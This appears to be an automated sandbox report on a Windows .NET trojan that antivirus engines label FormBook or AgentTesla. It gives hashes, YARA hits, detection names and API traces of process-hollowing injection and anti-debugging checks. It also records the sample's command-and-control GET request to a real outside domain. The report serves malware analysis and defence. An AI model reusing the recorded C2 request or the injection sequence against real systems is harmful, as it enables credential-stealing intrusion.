Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Sept. 1, 2021, 9:31 a.m.	Sept. 1, 2021, 9:34 a.m.

Size	1.4MB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`801affd34ae1974fd0965e7c1128eb96`
SHA256	`e4057c502b44a15299baee076824199bd52a1b0cc89c10d6638cb31dcddaafac`
CRC32	`F3DD9A43`
ssdeep	`24576:GxqmdgmzEpuUMgQqFrmMWo5TqRF6gT2fXNvO9:PmdNzGnMWFrm6TqTtT2/`
PDB Path	C:\Users\Administrator\Desktop\Client\Temp\oygZsalPsT\src\obj\x86\Debug\PinnedBufferMemoryStre.pdb
Yara	PE_Header_Zero - PE File Signature Admin_Tool_IN_Zero - Admin Tool Sysinternals Generic_Malware_Zero - Generic Malware Is_DotNET_EXE - (no description) IsPE32 - (no description)

win101.exe "C:\Users\test22\AppData\Local\Temp\win101.exe"
1136
- win101.exe "C:\Users\test22\AppData\Local\Temp\win101.exe"
  2320

Name	Response	Post-Analysis Lookup
www.patlichen.com
www.meridianopolitico.com	A 50.117.40.106	50.117.40.106

IP Address	Status	Action
164.124.101.2	Active	Moloch
50.117.40.106	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49166 -> 50.117.40.106:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49166 -> 50.117.40.106:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49166 -> 50.117.40.106:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 1, 2021, 9:31 a.m.			0	0
IsDebuggerPresent Sept. 1, 2021, 9:31 a.m.			0	0

Uses Windows APIs to generate a cryptographic key (3 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 1, 2021, 9:31 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00484d40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 1, 2021, 9:31 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00484d40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 1, 2021, 9:31 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00484d40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

C:\Users\Administrator\Desktop\Client\Temp\oygZsalPsT\src\obj\x86\Debug\PinnedBufferMemoryStre.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 1, 2021, 9:31 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header

suspicious_request

GET http://www.meridianopolitico.com/d6b4/?OXolp=Mk+xgxxMFq35RtCV/s1lAC9Od9t6BRTzkK3YJigL61KDkS5U9vEs0v6vAvJo+stnW/rREfuU&Txo=O0DPaBdh7tsX0d

Performs some HTTP requests (1 event)

request

GET http://www.meridianopolitico.com/d6b4/?OXolp=Mk+xgxxMFq35RtCV/s1lAC9Od9t6BRTzkK3YJigL61KDkS5U9vEs0v6vAvJo+stnW/rREfuU&Txo=O0DPaBdh7tsX0d

Allocates read-write-execute memory (usually to unpack itself) (43 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 2162688 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00980000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00b50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x731a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x731a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 1441792 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02250000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02370000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00412000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00545000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0054b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00547000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00750000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0041a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00437000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0041c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00436000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6ffd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:31 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00751000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00752000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00753000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00754000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00755000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00756000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00757000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00758000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00759000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0075a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0075b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0075c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0075d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 1136 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0075e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 2320 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00b10000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 1, 2021, 9:32 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Sept. 1, 2021, 9:32 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	Take ScreenShot	rule	ScreenShot
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Terminates another process (2 events)

Time & API	Arguments	Status	Return	Repeated
NtTerminateProcess Sept. 1, 2021, 9:32 a.m.	status_code: 0xffffffff process_identifier: 2200 process_handle: 0x00000278		0	0
NtTerminateProcess Sept. 1, 2021, 9:32 a.m.	status_code: 0xffffffff process_identifier: 2200 process_handle: 0x00000278	1	0	0

Allocates execute permission to another process indicative of possible code injection (2 events)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 2200 region_size: 188416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000268		3221225496	0
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 2320 region_size: 188416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000027c	1	0	0

Manipulates memory of a non-child process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1136 manipulating memory of non-child process 2200
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 2200 region_size: 188416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000268		3221225496	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 1, 2021, 9:32 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELb1/Pà ÄÐêà@à@.text4ÃÄ ` base_address: 0x00400000 process_identifier: 2320 process_handle: 0x0000027c	1	1	0
WriteProcessMemory Sept. 1, 2021, 9:32 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2320 process_handle: 0x0000027c	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 1, 2021, 9:32 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELb1/Pà ÄÐêà@à@.text4ÃÄ ` base_address: 0x00400000 process_identifier: 2320 process_handle: 0x0000027c	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1136 called NtSetContextThread to modify thread in remote process 2320
NtSetContextThread Sept. 1, 2021, 9:32 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4319952 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000278 process_identifier: 2320	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1136 resumed a thread in remote process 2320
NtResumeThread Sept. 1, 2021, 9:32 a.m.	thread_handle: 0x00000278 suspend_count: 1 process_identifier: 2320	1	0	0

Executed a process and injected code into it, probably while unpacking (15 events)

Time & API	Arguments	Status	Return
NtResumeThread Sept. 1, 2021, 9:31 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 1136	1	0
NtResumeThread Sept. 1, 2021, 9:31 a.m.	thread_handle: 0x00000154 suspend_count: 1 process_identifier: 1136	1	0
NtResumeThread Sept. 1, 2021, 9:31 a.m.	thread_handle: 0x00000190 suspend_count: 1 process_identifier: 1136	1	0
NtResumeThread Sept. 1, 2021, 9:32 a.m.	thread_handle: 0x0000025c suspend_count: 1 process_identifier: 1136	1	0
CreateProcessInternalW Sept. 1, 2021, 9:32 a.m.	thread_identifier: 2308 thread_handle: 0x00000264 process_identifier: 2200 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\win101.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\win101.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000268	1	1
NtGetContextThread Sept. 1, 2021, 9:32 a.m.	thread_handle: 0x00000264	1	0
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 2200 region_size: 188416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000268		3221225496
CreateProcessInternalW Sept. 1, 2021, 9:32 a.m.	thread_identifier: 2316 thread_handle: 0x00000278 process_identifier: 2320 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\win101.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\win101.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x0000027c	1	1
NtGetContextThread Sept. 1, 2021, 9:32 a.m.	thread_handle: 0x00000278	1	0
NtAllocateVirtualMemory Sept. 1, 2021, 9:32 a.m.	process_identifier: 2320 region_size: 188416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000027c	1	0
WriteProcessMemory Sept. 1, 2021, 9:32 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELb1/Pà ÄÐêà@à@.text4ÃÄ ` base_address: 0x00400000 process_identifier: 2320 process_handle: 0x0000027c	1	1
WriteProcessMemory Sept. 1, 2021, 9:32 a.m.	buffer: base_address: 0x00401000 process_identifier: 2320 process_handle: 0x0000027c	1	1
WriteProcessMemory Sept. 1, 2021, 9:32 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2320 process_handle: 0x0000027c	1	1
NtSetContextThread Sept. 1, 2021, 9:32 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4319952 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000278 process_identifier: 2320	1	0
NtResumeThread Sept. 1, 2021, 9:32 a.m.	thread_handle: 0x00000278 suspend_count: 1 process_identifier: 2320	1	0

File has been identified by 40 AntiVirus engines on VirusTotal as malicious (40 events)

Lionic	Trojan.MSIL.Taskun.4!c
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKDZ.76986
FireEye	Generic.mg.801affd34ae1974f
McAfee	AgentTesla-FCTY!801AFFD34AE1
Cylance	Unsafe
Sangfor	Trojan.MSIL.Taskun.gen
K7AntiVirus	Trojan ( 00580d4e1 )
Alibaba	Trojan:Win32/Kryptik.ali2000016
K7GW	Trojan ( 00580d4e1 )
Cyren	W32/MSIL_Kryptik.FEJ.gen!Eldorado
Symantec	Trojan.Gen.MBT
ESET-NOD32	a variant of MSIL/Kryptik.ACJW
APEX	Malicious
Paloalto	generic.ml
Kaspersky	HEUR:Trojan.MSIL.Taskun.gen
BitDefender	Trojan.GenericKDZ.76986
Avast	Win32:PWSX-gen [Trj]
Rising	Trojan.Kryptik/MSIL!1.D8E5 (CLASSIC)
Ad-Aware	Trojan.GenericKDZ.76986
Emsisoft	Trojan.Crypt (A)
DrWeb	Trojan.PackedNET.996
McAfee-GW-Edition	AgentTesla-FCTY!801AFFD34AE1
Sophos	Mal/Generic-R + Troj/Krypt-AX
Jiangmin	Trojan.MSIL.agkuy
Avira	TR/AD.Swotter.dmrdn
Microsoft	Trojan:Win32/Sabsik.FL.B!ml
GData	Trojan.GenericKDZ.76986
Cynet	Malicious (score: 100)
AhnLab-V3	Trojan/Win.PWSX-gen.C4588846
BitDefenderTheta	Gen:NN.ZemsilF.34110.An0@aCeSg8n
ALYac	Trojan.GenericKDZ.76986
MAX	malware (ai score=100)
Malwarebytes	Spyware.TelegramBot
Tencent	Msil.Trojan.Taskun.Dvze
Ikarus	Trojan.MSIL.AgentTesla
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	MSIL/GenKryptik.FIQL!tr
AVG	Win32:PWSX-gen [Trj]
CrowdStrike	win/malicious_confidence_100% (W)

win101.exe

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